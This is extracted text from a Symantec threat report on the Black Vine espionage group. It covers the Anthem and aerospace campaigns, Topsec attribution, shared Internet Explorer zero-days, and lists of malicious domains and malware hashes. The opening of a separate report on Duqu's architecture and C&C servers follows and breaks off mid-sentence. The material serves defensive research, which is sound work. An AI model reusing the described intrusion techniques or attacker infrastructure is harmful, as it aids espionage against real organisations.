aerospace-themed domains were discovered which could be traced back to Black Vine. The domains www.savmpet.com and gifas.asso.net were used sometime between late January and mid-February 2014. Additionally, Symantec and multiple third-party sources previously reported that these domains were used in targeted attacks against the aerospace industry.
The malicious domain gifas.assso.net was
likely created to disguise it as the legitimate European aerospace industry association website gifas.asso.fr. During the time of this investigation, the gifas.asso.net domain was being used to deliver malware and the referring page was www.savmpet .com.
The numbers of concurrent attacks conducted by Black Vine against organizations within the aerospace industry
are unknown. However, Symantec assesses with moderate confidencebelieves that multiple targeted campaigns took place in early to mid-2014. Targeted cyberespionage operations against aerospace-related organizations with custom malware and the use of zero-day exploits fit the TTPs typically associated with a well-funded public or private organization attacker.
Healthcare
In February 2015, a major cyberespionage campaign targeting the healthcare industry was publicly disclosed. The breach involved healthcare company Anthem, which was affected by an attack that led to the exposure of over 80 million patient records. Initial reports claimed that Anthem identified the breach on January 26, 2015, when a system administrator discovered that a database query had been run with their own credentials without their knowledge. Shortly after this discovery, Anthem realized the magnitude of the breach, which likely began in May 2014. Based on the samples analyzed in our investigation, Symantec identified that the Black Vine malware variant known as Mivast was used in the Anthem breach. Other third-part vendors also cited Mivast as the malware used in the Anthem attack.
Similar to other Black Vine attacks,
the DTOPTOOLZ Co digital signature was used to sign the Mivast binary. Additionally, the attackers used multiple domains designed to pose as healthcare- and technology-related organizations in this breach. These domains were identified on Black Vine’s infrastructure, as detailed in Table 2.
Black Vine does not usually register domains with the same email address. The registrant address
“[email protected]” appears to belong to a domain reseller and is likely not directly associated with Black Vine. Table 1. Domains and IP addresses added to modified host files
Domain IP address
csg.secure.[VICTIM DOMAIN] 217.108.[REMOVED]
ctx.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
fdm.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
qa.fdm.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
qa.indigo.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
pi.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
qa.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
qasd.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
sd.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
int.tcua.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
qa.tcua.secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
secure.[ VICTIM DOMAIN] 217.108.[REMOVED]
Table 2. Domains disguises as healthcare and technology companies
Domain Registrant address Date created
ssl-vait.com [email protected] May 17, 2014
ssl-vaeit.com [email protected] May 17, 2014
sharepoint-vaeit.com [email protected] May 20, 2014
we11point.com [email protected] April 21, 2014
healthslie.com [email protected] April 24, 2014
prennera.com [email protected] September 12, 2013
topsec2014.com [email protected] June 5, 2014Page 14
The Black Vine cyberespionage group
Table 3 includes details
on a few of the Mivast samples found in the Anthem breach.
It is unclear what
mechanisms were used to deliver the malware. It is likely that the threat was delivered through spear-phishing emails, since a watering-hole attack was never seen or reported in the breach. The malware itself was disguised using Citrix and Juniper VPN lures, indicating that the initial attack may have been aimed at Anthem’s technical staff.
Who is behind Black Vine?
We analyzed the group’s infrastructure, resources, and attack patterns in order to find out who the Black Vine attackers could be and what their motivations are. We also researched open source data, which suggests that some actors of Black Vine may be associated with a Beijing-based company known as Topsec.
Topsec association
A blog from Threat Connect noted that the registration information for infrastructure used in the Anthem breach leads back to a Chinese origin. Infrastructure associated with the Mivast malware sample (MD5:230D8A7A60A07DF28A291B13DDF3351F) seen in the Anthem attacks resolved to IP address 192.199.254.126. The domain topsec2014.com was one of only a few domains hosted on this IP address close to the same time frame that Mivast accessed C&C infrastructure hosted on the same IP address.
The topsec2014.
com domain can be traced back to the registrant address [email protected], which is believed to be associated with the similar email address [email protected]. The topsec2014 domain and the previously mentioned email addresses are associated with an organization called Topsec.
Topsec is a company
that began as a research institute in Beijing and has since expanded to nearly every province of China. The organization focuses on security research, training, auditing, and products. Its customers include private businesses as well as public agencies. It also hosts an annual hacking competition known as the Topsec Cup and has reportedly hired known hackers to provide security services and training. Table 3. Mivast sample details observed in Anthem breach
MD5 hash C&C domain Compile time
98721c78dfbf8a45d152a888c804427c extcitrix.we11point.com December 20, 2013, 01:34:53
230d8a7a60a07df28a291b13ddf3351f sharepoint-vaeit.com May 23, 2014, 09:07:49
Figure 4. Details on the Topsec Network Security & Technology CompanyPage 15
The Black Vine cyberespionage group
Zero-day access and distribution
Multiple Black Vine campaigns have exploited previously unknown zero-day vulnerabilities to deliver the group’s
custom payload. Zero-day exploits typically require attackers to have an advanced skillset to identify and then determine how to exploit the unheard-of vulnerability. Generally, these exploits can be purchased through underground networks or may be created by specialized exploit developers. Both approaches require access to extensive financial resources.
In the case of Black Vine, Symantec has identified a pattern between this attack group’s activity and other
cyberespionage-related campaigns. These campaigns were seen using the same zero-day exploits but delivering a different payload. There appears to be shared access to zero-day exploits, which are distributed and used within days of one another among different attack groups, as the diagram in Figure 5 shows.
Concurrent CVE-2012-4792 zero-day exploits
In late December 2012, the Council on Foreign Relations’ (CFR) website was compromised. The domain was reported as serving an exploit against an unknown vulnerability found in Internet Explorer 6, which was eventually labelled CVE-2012-4792. At the time of exploitation, there was no patch or remediation in place for the vulnerability, leaving victims using the vulnerable version of Internet Explorer helpless. Once the unpatched vulnerability was exploited, the attackers delivered a variant of Backdoor.Bifrose to the victim’s computer. Based
on Symantec’s previous findings, Bifrose has been associated with another cyberespionage campaign. Symantec does not believe that either this adversary or the CFR compromise is associated with Black Vine.
As mentioned previously in this report, in December 2012, the Capstone Turbine website was compromised by
Black Vine. Based on the first known instances where malicious code was spotted on both the CFR and Capstone websites, the attacks began on or around the same week as one another.
In both website compromises, the domains were serving exploits against the same Internet Explorer zero-day
Figure 5. Zero-day distribution and frameworkPage 16
The Black Vine cyberespionage group
vulnerability (CVE-2012-4792). The primary difference between the attacks was that the Sakurel payload was
delivered in the Capstone attack while Bifrose was distributed in the CFR attack.
Concurrent CVE-2014-0322 zero-day exploits
In February 2014, there was another instance of two attack groups sharing the use of a zero-day exploit to deliver different payloads. Between February 11 and February 15, 2014, the websites of the US Veterans of Foreign Wars (VFW.org) and the home page of a large European aerospace manufacturer both became victims of watering-hole attacks. Similar to the 2012 attacks, the sites were forced to redirect to an exploit for a previously unknown zero-day vulnerability in Internet Explorer (CVE-2014-0322) in order to deliver a malicious payload. In the VFW.org attack, the delivered payload was a variant of Backdoor.Moudoor. Moudoor has been used in
targeted attacks by a group previously reported by Symantec, referred as Hidden Lynx. The attack against
the aerospace manufacturer took place simultaneously with the VFW attack and exploited the same zero-day vulnerability. The payload in the aerospace watering-hole attack was Black Vine’s Sakurel malware.
Elderwood link
The simultaneous attacks between different attack groups seen in 2012 and 2014 exploited the same zero-day vulnerabilities at the same time, but delivered different malware. The malware used in these campaigns are believed to be unique and customized to each group. However, the concurrent use of exploits suggests a shared access to zero-day exploits between all of these groups. Symantec has previously identified the platform that has been used to deliver zero-day exploits to multiple attack groups as the Elderwood framework.
Previous attacks exploiting zero-day vulnerabilities sourced from the Elderwood framework are believed to have originated from attackers based in China.
Attribution
Black Vine appears to have access to resources to develop and update its own custom malware, and obtain zero-day exploits for its targeted attacks. This access and capability suggest that Black Vine is well funded and resourced. Black Vine’s continuous campaigns against targeted industries, beginning in late 2012, fit the TTPs associated with organized cyberespionage actors.
Certain Black Vine infrastructure seems to be associated with the Beijing-based security organization Topsec.
The relationship with Black Vine and Topsec provides evidence of the past or present geography of at least some actors involved in this group’s activity.
Access to the Elderwood framework is another indicator that Black Vine is in working relationships with actors
associated with widely reported cyberespionage attacks over the past several years. Along with this, Black Vine has been observed using Elderwood-distributed zero-day exploits simultaneously with other threat actors.CONCLUSION
Many of the
campaigns analyzed by Symantec have been targeted attacks against the energy, aerospace, healthcare, and other industries. Page 18
The Black Vine cyberespionage group
Conclusion
Black Vine has been conducting its attacks since at least 2012. Many of the campaigns analyzed by Symantec
have been targeted attacks against the energy, aerospace, healthcare, and other industries. Black Vine used three variants of malware throughout the years known as Hurix, Sakurel, and Mivast. All three variants originated from one malware family that was likely created and updated by the same author or developer. Each variant has been updated to add features and is re-hashed to avoid detection.
In a number of attacks, the malware has been delivered onto the victim’s computer after Black Vine has
exploited a zero-day vulnerability primarily through watering-hole attacks. The zero-day exploits used in these attacks are believed to have been distributed through the Elderwood distribution framework. Additionally, the goal of all analyzed Black Vine campaigns has been cyberespionage.
The Anthem attack is one the most publicized and damaging attacks against the US health industry. However,
the healthcare industry is only one of several large cyberespionage-based campaigns conducted by Black Vine. As outlined in the findings of our investigation, Black Vine has also attacked the aerospace and energy industries. By investigating and documenting the TTPs, malware, targets, and exploits used in these attacks over time, Symantec hopes to shed light on the history of the Black Vine attack group.
Symantec’s goal in creating this report is to provide an assessment of this attack group to help organizations
better understand the attackers and their motivations. Knowing the signs to identify Black Vine’s activity will help analysts build better defenses and allow decision-makers to react to Black Vine attacks more effectively.
Mitigation
Symantec has the following detections in place to protect against Black Vine’s malware:
AV
• Backdoor.Mivast
• Trojan.Sakurel
IPS
• System Infected: Trojan.Sakurel ActivityAPPENDIXPage 20
The Black Vine cyberespionage group
Appendix
Black Vine domains
The following domains have been associated with Black Vine activity:
• ameteksen.com
• asconline.we11point.com
• assso.net
• capstoneturbine.cechire.com
• caref1rst.com
• careflrst.com
• EmpireB1ue.com
• extcitrix.we11point.com
• facefuture.us
• gifas.blogsite.org
• gifas.cechire.com
• healthslie.com
• hrsolutions.we11point.com
• icbcqsz.com
• me.we11point.com
• mycitrix.we11point.com
• myhr.we11point.com
• oa.ameteksen.com
• oa.ameteksen.com
• oa.technical-requre.com
• oa.trustneser.com
• polarroute.com
• prennera.com
• savmpet.com
• sharepoint-vaeit.com
• sinmoung.com
• ssl-vaeit.com
• ssl-vait.com
• topsec2014.com
• vipreclod.com
• vpn.we11point.com
• we11point.com
• webmail.kaspersyk.com
• webmail.vipreclod.com
• wiki-vaeit.com
• www.we11point.com
• ysims.com
Black Vine MD5s
The following MD5s represent malware and hack tools used in the Black Vine targeted attacks:• 019a5f531f324d5528ccc09faa617f42
• 01c45a203526978a7d8d0457594fafbf
• 023ef99bc3c84b8df3f837454c0e1629
• 0334b1043c62d48525a29aeb95afcb09Page 21
The Black Vine cyberespionage group
• 04e8510007eea6bb009ab3b053f039db
• 04f17c37259533e301b01a8c64e476e6
• 05cd4bfeac3ad6144b5f5023277afa45
• 065aa01311ca8f3e0016d8ae546d30a4
• 06ec79f67ad8ede9a3bd0810d88e3539
• 07b678ed364b23688b02a13727166a45
• 0a2c6265a65a25e9bef80f55cdd62229
• 0a8a4cfa745b6350bea1b47f5754595e
• 0ae8ace203031f32e9b1ac5696c0c070
• 0b6a0ca44e47609910d978ffb1ee49c6
• 0d0f5c0416247bb1dd6e0e2be1114b67
• 0e5d1b941dcb597eb9b7dc1f0694c65f
• 0ff96f4dbfe8aa9c49b489218d862cd7
• 1077a39788e88dbf07c0b6ef3f143fd4
• 1098e66986134d71d4a8dd07301640b1
• 116dbfd8f5b6c5a5522d3b83a3821268
• 121320414d091508ac397044495d0d9c
• 124089995494be38d866de08c12f99ef
• 1240fbbabd76110a8fc29803e0c3ccfb
• 127cd711193603b4725094dac1bd26f6
• 1371181a6e6852f52374b4515aaa026a
• 13e99782f29efa20a2753ac00d1c05a0
• 1472fffe307ad13669420021f9a2c722
• 15ccb0918411b859bab268195957c731
• 1856a6a28621f241698e4e4287cba7c9
• 1893cf1d00980926f87c294c786892d2
• 191696982f3f21a6ac31bf3549c94108
• 1a6c43b693bb49dad5fe1637b02da2c6
• 1b826fa3fd70a529623ed1267944cee5
• 1d016bb286980fd356cab21cdfcb49f4
• 1de5db7cef81645f3f0e7aabdb7551a8
• 1ff57a7aa2aa92698356f6c157290a28
• 205c9b07c449a9c270aabe923123c0c1
• 21131bce815f2cb1bc0eb1fbf00b3c25
• 21ee6c85f431c2aa085b91ac0c86d27f
• 230d4212692c867219aba739c57f0792
• 23169a0a2eee3d12fde0f3efd2cd55f1
• 2414d83e97cb4c442b5594c6fbafe045
• 2567d2bbcce5c8e7dcabcd2c1db2a98a
• 276f06196001dcfa97a035509f0cd0aa
• 29bd6cfc21250dfa348597a21a4a012b
• 2adc305f890f51bd97edbece913abc33
• 2ca3f59590a5aeab648f292bf19f4a5e
• 2f23af251b8535e24614c11d706197c3
• 2ff61b170821191c99d8b75bd01726f2
• 33be8e41a8c3a9203829615ae26a5b6e
• 34b7aa103deefbe906df59106683cc97
• 34db8fb5635c7f0f76a07808b35c8e55
• 352411e5288b2c6ea5571a2838c8f7f3
• 360273db9ac67e1531257323324d9f62
• 372aa07662fb5779c8bf16d46fb58acb
• 3759833848a8cd424bf973d66e983e91Page 22
The Black Vine cyberespionage group
• 3859b0ea4596d8f47677497d09bcc894
• 388a7ae6963fd4da3ec0a4371738f4e0
• 391c01bdbeb5975c85cee0099adb132c
• 3a1df1ec3ef499bb59f07845e7621155
• 3b70ab484857b6e96e62e239c937dea6
• 3d2c2fdd4104978762b89804ba771e63
• 3e0016d728b979b7f8fd77a2738047eb
• 3edbc66089be594233391d4f34ec1f94
• 3fc6405499c25964dfe5d37ee0613a59
• 3ff30fce107a01d3d17a9768abe6e086
• 41093a982526c6dc7dbcf4f63814d428
• 416e598fb1ed9a7b6ce815a224015cb8
• 416e831d583665352fe16fe9232d36cf
• 419ce8f53d5585abd144e9e76113639d
• 421bff8f5dd218727283a2914424eccc
• 4315274a5eda74cd81a5ec44980876e8
• 43e6a46d8789e1563e94ff17eff486d7
• 470e8dd406407b50483ce40de46660af
• 488c55d9a13c7fa8ee1aa0c15a43ab1e
• 492c59bddbcbe7cbd2f932655181fb08
• 4a6f45ff62e9ab9fe48f1b91b31d110e
• 4d8482da8730a886e4d21c5bfb7cd30e
• 4dc526eb9d04f022df9fa2518854bbb4
• 501db97a6b60512612909cfe959fbcd0
• 5382efbecccf8227c7adc443e229542f
• 5482deee917c374bab43dd83a4a6c722
• 5496cff5e3bf46448c74fbe728763325
• 55daa4271973bb71ad4548225675e389
• 567a33e09af45123678042e620f31769
• 586c418bf947a0ef73afd2a7009c4439
• 5a843bc0b9f4525b1ee512e1eba95641
• 5a894c18c5cc153f80699145edd1c206
• 5b27234b7f28316303351ea8bcfaa740
• 5b76c68f9ca61bfd8a5bcbf2817a1437
• 5bb780344a601f4eff9ce0c55daf4361
• 5dbdc2839e3f5c2dd35f3def42002663
• 5eea7686abeba0affa7efce4da31f277
• 5ff5916c9f7c593d1d589c97c571b45a
• 617eda7bcba4e3d5acc17663bbc964b3
• 62d4777dd8953743d26510f00b74f444
• 62e82c46647d2d2fe946791b61b72a4d
• 638304bf859e7be2f0fa39a655fdaffc
• 63ae83244a8d7ca1eef4e834eb0eb07f
• 63c0978e2fa715a3cad6fb3068f70961
• 63f171705b28a05c84b67750b7e0ebf7
• 64201ec97467910e74f40140c4aaa5ce
• 67112866e800b9dce2892cf827444d60
• 67fceab90a142e1e286bca0922dbffd3
• 69314300da7a4a0e95be545b804565dd
• 69374e5bcb38a82ef60c97ec0569ded3
• 6a273afa0f22d83f97d9fd2dc7dce367Page 23
The Black Vine cyberespionage group
• 6a7b2feed82d8d1746ac78df5a429bce
• 6bdf4e5b35b4cc5d3d519edc67086d7f
• 6c3523020a2ba0b7045060707d8833ea
• 6c4d61fedd83970cf48ef7fdd2a9871b
• 6d308fc42618812073481df1cd0452a7
• 71bbd661a61e0fee1f248f303af06f3f
• 7248d4b73d68cfc023d8d156c63f6b74
• 74eb66027ac6fa5a59632383e09915e2
• 77a25486d425825986d2c6306a61f637
• 7d2c9936bff1e716b8758376cd09505d
• 7ee7a9446d7cf886223274d809d375d6
• 80eb86542ce7ad99acc53a9f85b01885
• 81d74b0e9560f2bf780f12893d885f41
• 836a618341c6149e7c83e99755a7fd5f
• 848fcb062218ae3162d07665874429a7
• 8506064925a774a8d11d9fac374eb86a
• 895dc0a3adfafce2a74d733ff2a8754e
• 8b3de46ecb113cd1ee2d9ec46527358f
• 8b52cd1df70ef315bce38223ac7f4ec3
• 8f523f7fc73e52d54bb4e94dc44768b0
• 8feb7d6eae0ab9c1900fb6d0b236201b
• 90bc832fbaa6bbd7e4251c39473e5a4b
• 91569c57fc342161c479603f3b527c1d
• 930af711a1579f3e1326cdb6d0005398
• 9526e4abcacc4e4a55fa1b2fc2313123
• 96fab28f1539f3909a255436bc269062
• 97479fa13d9b96da33cdb49749fc2baf
• 97a6e9e93bc591baf588bada61559d6a
• 97fc2d9b514f3183ae7c800408e5c453
• 985e819294cdc3b5561c5befa4bcbc5b
• a006d31515bb2a54b5c3ddda8d66f24b
• a00a19c85c42cb49ad48c0be349daec0
• a00e275feb97b55776c186579d17a218
• a034a674b439d9b3d3ad1718bc0c6bb0
• a05bc6c5f63880b565941ac5c5933bfe
• a104ab14c9a1d425a0e959f046c97f29
• a1a15a9e82880e8fc881668c70126315
• a2030658767635894abdb3742db5e279
• a225ee8669c52540b5056fd848f1e267
• a2bdb2aaf4d8eacbbb634476f553455b
• a33c6daba951f7c9a30d69b5e1e58af9
• a39729153ceaeaf9b3aded9a28d0e4dc
• a39c424e6df5d10b74aa72fb3a120c0c
• a4856f40fd013b6144db8fe19625434b
• a53782f0790258d7ae1c9330b4106976
• a548d3dedd85683930d9732ed0316ec0
• a554e8867a076768e57e923a249f7a09
• a759b73716bdc406b9a20ebef394bc6d
• a7e467e16834e80a5713e0d6bb73def5
• a81569d86c4a7bce2c446f169816a7ff
• a90e38c3214eeba99aa46ad5e3ec34ffPage 24
The Black Vine cyberespionage group
• a91ba2ab82553f43440ed24a9afeef82
• ab357c26a2ed7379b62dd1cc869690b7
• ab557f2197647aa3fb7be3de8770a109
• ab8badbf16a0cd7013197977f8b667e9
• ab91b9e35d2b1e56285c042eef95d324
• aca2756917024c859d1f13ca1cdcb843
• ae55d7b5c3d3bc7ed338d40ada25902f
• aec367555524a71efcc60f45e476c678
• aeed29398ceb645213cf639a9f80367c
• af114e711259964b1db0235e9b39a476
• af661cb478510d1d00dfdf1f2de4e817
• b011a616da408875bd0d39cebf11dd1d
• b297c84e2cdeacdbae86cbf707fc7540
• b31e97c9740d8e95e56a5957777830d7
• b38c4766ec0c5fb9b9e70af0b7414e78
• b42417f49dd3aa2d31449fdf06769ca0
• b4958424c5db8b0eca61ce836b81d192
• b4e24a4edba2d2644877cfc933973228
• b6b3e7b18384bb632602662a7f559bcd
• b6d9a58bacb8a92e428f7d70532cb33e
• b79be0503606ee3e2ce243e497265dbb
• b7bd80dd344af7649b4fd6e9b7b5fd5c
• b7e3f853e98ea9db74bf3429803f7a4b
• b8006fde97a095b2c86f8b0a06b7d24f
• b8346b4a5f8b4a6d79814f9824940504
• b83fed01e49300d45afadc61a5e5cf50
• ba5415f34927a356d4aaffb4bd7fe907
• bb4bb0d7a794f31129cdb55025ea847b
• bb57362757182b928d66d4963104ffe8
• bc74a557e91597d8b37ed357c367643e
• bccaa2ea0cf2c8ef597c84726c5417d0
• bd48ca50da3b76aa497f28d842954c12
• bdb6a8a95e5af85d8b36d73ba33ec691
• bf35690e72a3fbd66ff721bd14a6599e
• c0e37ffac09a426c5a74167d0e714177
• c1f09f902a24b5132be481d477b92e5e
• c248fc62283948a3664019b58446a23e
• c35300af4a2b23c1a7d6435c6d4cb987
• c43d74b85001f622aad61e9da5744b52
• c4f541ab592c8fca4d66235eb2b8eeb2
• c5933a7ca469e98f7799c3ab52a1bc3c
• c66b335fb606b542206b5a321beb2a76
• c6d1954b58a17bd203e7b6be9d5047d8
• c6eab24761a223e6c6f1a9d15ecca08a
• c72fb5b8de6ee95ff509b161fe9828f3
• c823946a7490b8fc5ee29be583f39d23
• c83500ea6e0c9844ad2e21badb64bb23
• c8fa5701a43cd817b30327e44dc70369
• cc15a9109b41297f65a7349920f42c09
• cd1c95aa6f45101735d444aeb447225c
• cfd1eb4ccdeea554d8cffa17021ffbfaPage 25
The Black Vine cyberespionage group
• d1f0ff695021aed31ada3397ad1f491e
• d2a27b9acb8dc9a9adbde76d2a10a189
• d3cb441f03e8370155381d74c2b7d827
• d57075de72308ed72d8f7e1af9ce8431
• d5d6881b4bef3544d9067b71af3287eb
• d7351f6937379dbbeedc83d37a86e794
• d810b773e694279ece31106c26fb2869
• d82230d1ac02405d16530f849abdde0b
• d875a70c4b07dcc18770870c9c1d2abd
• d87ce47e24ee426d8ac271873b041d50
• d8b496c4837b80952c52e1375c31648c
• dc7469f6b18cfce712156e3988d238d2
• dda9f3b2d5e70e70be1be7e4195b7016
• df15e0f3169f65080ee7d783c061cda3
• df689186b50384026382d5179841abec
• dfea1e69d2f5d84a1b6c6b67b01b7ff8
• e0b6a8e23e0d586663e74f1e1d755ae0
• e13bf40bbdbba86d638c04e0d72de268
• e1b53ff413915e03245807b2eba504eb
• e36028a1bf428bb5a0993dc445deb5b8
• e595292b1cdaea69ef365097a36195ad
• e604176c2638fdf015d6a346803ed6f3
• e66164b4967cf7b3cdb3c1c510abe957
• e7113c872386edd441e7030d185238ca
• e7139a2e1e28efd6c303dc28f676ffe3
• e804f5d88ceb937b6ce0c900260793d3
• e9115f553ac156542dcd38042f45ec68
• ef855c88842821a15a80bbee00024817
• ef94e4b0bd689972df09e19a3ed0653e
• f0082c886bc04fafe4a2615d75c2eaeb
• f06b0ee07daa7f914dec27f98a6d8850
• f1eb2a68d5d438e93a22b2126c812f4d
• f2d59757a9795531796df91097d5fa2b
• f349ee3706c815a79a60d2534284935d
• f4862b793f89b9ca59da6ac38dff0e2d
• f583a1fdb3c8be409e2118795ad916ba
• f5b9862f2d508c57b81fbaaad91030f4
• f60f94d257ad5d781595b6c909844422
• f8dbcfe4f826aa27724ccfd6b080b26d
• f918fc73484f2a1684de53040ec816d2
• f942344daf85bf211b4a27a1c947843c
• f9b71e959f79d25bad195f59f5ae502e
• faed2bcd842e81c180a6ac9dde78f8d5
• fc52814e8eb48aca6b87fa43656cbf42
• fcad5bdeb3eb2eaa6e1c2bb9d9eb2cc0
• fd69439c6e2bac79e490b9572b6c91ad
• fedf54586ebd00684e20712ad7eb9189
• ff1d5c6a476a56eb7ca4e38b57761a4e
• c71b09dfffd870af2c38a8135762e84d
• 5acc539355258122f8cdc7f5c13368e1
• 230d8a7a60a07df28a291b13ddf3351fPage 26
The Black Vine cyberespionage group
• d76be14a5e3a6ec45150ad2582f5c1a8
• 740561c8d5d2c658d2134d5107802a9d
• dba4e180ed355a4ad63ceaf57447b2b7
• 4ea3afbed7a0c7d0013f454060243fba
• 4f545dff49f81d08736a782751450f71
• fe74dc43af839146f64ec7bea752c4f0
• 0f218e73da96af2939e75ebea7c958dc
• 28771cb939b989e2ab898408ccaf5504
• beb174ca92c75c8ef4dc4ee24afeabeb
• fbd85dad36fe13d46eaca7d7f2d50b0b
• ec85830342217b5d03f6bd26a703ce1a
• 4e239b731a0f1dbf26b503d5e2a81514
• 3f0ba1cd12bab7ba5875d1b02e45dfcf
• 4a7b4635af040cba1851b2f57254ba5e
• 888876810fa9f85a82645bf5d16468e8
• bf29d2c64db69170ae01ebb4eabe9bd3
• c869c75ed1998294af3c676bdbd56851
• 9c4db94cc3bdb9b5864bde553bff1224
• 6a2ea24ed959ef96d270af5cdc2f70a7
• 260349f5343244c439b211d9f9ff53cf
• 07b62497e41898c22e5d5351607aac8e
• 231d0bfe48388082f5769f3deef5bcab
• 259ea5f6f3f1209de99d6eb27a301cb7
• 4297e98e6d7ea326dee3d13e53aa8d70
• 42d3e38db9f1d26f82ef47f0a0ec0499
• 8542cf0d32b7c711d92089a7d442333e
• 9cee5c49dcaad59ea0eea6e7b67c304c
• c5e90ead14dc49449fa37a2869a45842
• c50612ebe76bfd7bc61174c581fb2a95
• 61fe6f4cb2c54511f0804b1417ab3bd2
• e1ccd9f1696e4bf943fa2816356a443b
• 9a63f72911b385a0c17427444c968ed0
• 606b9759de1aa61a76cf4afa4ccf8601
• 928579b6fd1162c3831075a7a78e3f47
• a068bf4b31738a08ed06924c7bf37223
• 5d54c0756fbe33aae5dc8a4484a7aee5
• bc99d3f41dfca74f2b40ce4d4f959af0
• b2d900e2803dd0bcd5e85b64e24c7910
• 1bb0fb051cf5ba8772ad8a21616f1edb
• b30eb3a53002f73dc60ca5c283a894d2
• be1e27b75fa14839cb372b66d755d1a3
• 6d8b786e97d78bd3f71107a12b8e6eba
• a3ca10e35e6b7dc2e7af2814ce05d412
• c80273ed1aee85de66fd35afe32e4672
• a3ee3c8f44d10056256408ca7bd2cd5f
• 2ffea14b33b78f2e2c92aead708a487a
• e2c32ed6b9cd40cb87569b769db669b7
• c2b7bf8a30ac6672d9eb81582bd32a4a
• cb56b1fc08451d1f56481a29bd1047e9
• 98721c78dfbf8a45d152a888c804427c
• 5d04457e3d4026a82ac3ec9b1c0819ecPage 27
The Black Vine cyberespionage group
• 8ee244ad6b6f2b814d34d26dae880f12
• 05fd0c8e5a9f5e40c40261aebfc47655
• 17fc52eca49a9207872ab134a9ba4095
• 3b3f46caffa4d5eccf9e063c620a7c23
• 4900d40f92408468f0c65942ac66749e
• 546b5a5793ba86811d64330598e1ce76
• 825a5172dbd9abab7f14e0de8af3cc12
• a60f6aacd7918a63a307651b08e6fe15
• b5dcd230c70b652c7af3e636aea6bbb8
• e9e7d0256efae5d6f6b8ce250cceb370
• a4e773c39816bfbaad0697e66ff5369a
• 4a35fe1895aca6dc7df91b00e730b4df
• 7c2113d2d67926cc7b8c470b33ede5c4
• be3fb47cd9fe451bd0f7bd5a382c1f51
• 8d119ed054373086dbdfaf48c19b6663
• b69d47856488fb92aab9b5a7a56569f6
• 45468c2450e6451cf63d2b9b2b70c632
• 58d56d6e2cafca33e5a9303a36228ef6
• 230d8a7a60a07df28a291b13ddf3351f
|
Security Response
Contents
Executive summary ............................................ 1
Infection Statistics ............................................. 3
Geographic distribution ............................... 3
File history .................................................... 4
Technical Analysis .............................................. 5
Installation .................................................. 5
Installed component architecture ............... 6
Load point (JMINET7.SYS) ........................... 7
Main DLL (NETP191.PNF) ............................ 8
Payload loader (Resource 302) .................... 9
Payload (.zdata DLL) .................................. 12
Downloaded threats .................................... 17
Replication ................................................. 19
Variants ............................................................ 20
CMI4432.SYS ............................................. 20
CMI4432.PNF ............................................. 20
Acknowledgements .......................................... 21
Appendix .......................................................... 21
File hashes .................................................. 21
Diagnostics ................................................. 21
Command & Control Configuration Data ..22
Version history ................................................. 24
The Laboratory of Cryptography and System Security (CrySyS)
has also allowed us to include their detailed initial report,
which you can find as an appendix.Executive summary
On October 14, 2011, we were alerted to a sample by the Laboratory
of Cryptography and System Securit y (CrySyS) at Budapest Universi -
ty of Technology and Economics. The threat appeared very similar to
the Stuxne t worm from June of 2010. CrySyS named the threat Duqu
[dyü-kyü] because it creates files with the file name prefix “~DQ”.
The research lab provided their detailed initial report to us, which
we have added as an appendix. The threat was recovered by Cry -
SyS from an organization based in Europe and has since been found
in numerous countries. We have confirmed W32.Duq u is a threat
nearly identical to Stuxnet, but with a completely different purpose.
Duqu is essentially the precursor to a future Stuxnet-like attack. The
threat was written by the same authors, or those that have access to
the Stuxnet source code, and the recovered samples have been cre -
ated after the last-discovered version of Stuxnet. Duqu’s purpose
is to gather intelligence data and assets from entities such as indus -
trial infrastructure and system manufacturers, amongst others not in
the industrial sector, in order to more easily conduct a future attack
against another third party. The attackers are looking for information
such as design documents that could help them mount a future attack
on various industries, including industrial control system facilities.
Duqu does not contain any code related to industrial control systems and is
primarily a remote access Trojan (RAT). The threat does not self-replicate.
Our telemetry shows the threat has been highly targeted toward a limited
number of organizations for their specific assets. However, it’s possible The precursor to the next StuxnetW32.Duqu
Version 1.4 (November 23, 2011)W32.Duqu: The precursor to the next Stuxnet
Page 2Security Response
that other attacks are being conducted against other organizations in a similar manner with currently undetect -
ed variants.
In one case, the attackers used a specifically targeted email with a Microsoft Word document. The Word docu -
ment contained a currently undisclosed 0-day kernel exploit that was able to install Duqu. It is unknown wheth -
er the attackers used the same methodology and the same 0-day in all other cases. More information regarding
the 0-day will be released when the issue has been patched.
The attackers used Duqu to install another infostealer that can record keystrokes and collect other system
information. The attackers were searching for information assets that could be used in a future attack. In one
case, the attackers did not appear to successfully exfiltrate any sensitive data, but details are not available on all
cases.
Two variants were initially recovered and, in reviewing our archive of submissions, the first recording of an attack
occurred in early April 2011. However, based on file-compilation times, attacks using these variants may have
been conducted as early as November 2010. Additional variants were created as recently as October 17, 2011
and new payload modules downloaded October 18, 2011. Thus, at the time of discovery, the attackers were still
active.
At the time of writing, Duqu infections have been confirmed in eight countries, and unconfirmed reports exist
in an additional 4 countries. Duqu consists of a driver file, a DLL (that contains many embedded files), and a
configuration file. These files must be installed by another executable—the installer. The installer registers the
driver file as a service so it starts at system initialization. The driver then injects the main DLL into services.exe.
From here, the main DLL begins extracting other components and these components are injected into other pro -
cesses. This process injection hides Duqu’s activities and may allow certain behaviors to bypass some security
products.
One of the variant’s driver files was signed with a valid digital code signing certificate that expires on August
2, 2012. The digital code signing certificate was issued to a company headquartered in Taipei, Taiwan and was
revoked on October 14, 2011. We believe the private keys used to generate the certificate were stolen from the
company. Having a legitimate certificate allows Duqu to bypass default restrictions on unknown drivers and
common security policies.
Duqu uses HTTP and HTTPS to communicate with a command and control (C&C) server. Duqu also has proxy-
aware routines, but these do not appear to be used by default. Each attack used one or more different C&C
servers. Currently known C&C servers include 206.183.111.97 hosted in India,77.241.93.160 hosted in Belgium,
and 123.30.137.117 hosted in Vietnam. All of these IPs are inactive. The C&C servers were configured to simply
forward all port 80 and 443 traffic to other servers. These servers may have forwarded traffic to further servers,
making identification and recovery of the actual C&C server difficult. The traffic-forwarding C&C servers were
scrubbed on October 20, 2011, so limited information was recovered. Even if the servers were not scrubbed,
